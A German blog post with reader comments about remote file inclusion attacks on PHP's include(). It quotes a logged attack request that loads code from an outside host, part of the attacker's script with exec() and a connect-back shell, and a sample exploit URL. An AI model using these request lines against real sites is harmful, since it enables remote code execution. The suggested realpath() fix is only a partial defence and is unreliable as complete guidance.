maettig.com

Thiemos Archiv

Da muss jemand ganz viel Langeweile bzw. einen dämlichen Roboter haben. Folgender (in meinem Fall selbstverständlich wirkungsloser) Aufruf taucht gleich duzendweise im Fehlerprotokoll meiner Webpräsenz auf: index.php?page=http://www.irs-online.it/guns/spy.gif?&cmd=ls /. Unter dieser Adresse findet sich ein PHP-Skript mit diversen systemnahen Angriffsszenarien inklusive Installation von Shellskripten (stark gekürzt):
<?php
$dono = get_current_user();
$login = posix_getuid();
exec($cmd);
[...]
$fp = fopen("/tmp/dc-connectback.c", "w");
fwrite($fp, $shell);
[...]
Lächerlich, aber dennoch gefährlich. Oft ist zu lesen, dass man zur Verhinderung solcher Angriffe allow_url_fopen abschalten solle. Das ist Unsinn. Das hilft zwar, ist aber eigentlich nur ein schneller, schmutziger Workaround. Das Problem ist nicht der "URL fopen wrapper" sondern die unsachgemäße Verwendung von include(). Das Einlesen einer fernen Datei führt sie tatsächlich aus. (Bei meinen ersten Tests hatte ich der fernen Datei versehentlich die Endung .php gegeben, was sie schon dort zur Ausführung brachte.) Empfehlung: Einfach aus jedem include($page) ein include(realpath($page)) machen. Fertig.
Doch, eine Datei wird per include() ausgeführt. Denn das ist ja genau das Problem. Jeder, der in seinem Script index.php die Zeile [?php include $file; ?] einschließt, register_globals anhat und das script per http://myhost/index.php?file=http://example.com/evilphp.txt würde Code von example.com auf der Maschine myhost ausführen. Lustige Idee, muss man zugeben.

Habe ich schon erfolgreich testen können, zumindest mit PHP 4.3.irgendwas. Es geht also alles ohne Benutzung von eval().
Garvin
Verdammt. Wie kann sich meine Lieblingssprache so lächerlich machen? (Ich habe den Text entsprechend geändert.) Soll ich jetzt tatsächlich zulassen, dass der Administrator unseres Servers allow_url_fopen vorsorglich deaktiviert?
Thiemo
Wieso sollte sich hier die Sprache lächerlich machen? Wer beliebige Dateinamen über eine externe Schnittstelle ungesichert einliest und auch noch direkt als PHP-Code ausführt ist schlicht und ergreifend selbst schuld...
T$
Das Problem ist, dass include() durch den URL fopen wrapper eine Doppelbedeutung bekommt und man es extrem leicht versehentlich falsch verwenden kann, und daran ist dann doch irgendwie die Sprache schuld.
Thiemo

Kommentare zu diesem Beitrag können per E-Mail an den Autor gesandt werden.

[ ← Zurück zur Übersicht ]

Impressum & Datenschutz